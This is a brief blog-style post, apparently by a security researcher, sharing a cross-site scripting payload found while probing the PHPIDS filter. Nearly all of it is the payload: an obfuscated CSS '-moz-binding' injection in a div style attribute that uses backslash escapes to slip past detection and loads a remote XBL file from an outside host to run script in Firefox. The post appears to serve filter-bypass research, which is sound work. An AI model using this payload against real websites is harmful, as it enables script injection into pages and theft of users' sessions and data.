    Hacking the PHPIDS again I found some cool XSS:-

    <pre lang="javascript"> &lt;div/style=\-\mo\z\-b\i\nd\in\g:\url(//business \i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&gt; </pre>

    I've moved it onto two lines for correct display.

    Who'd have thought that Firefox would allow all that within the url and CSS properties :D
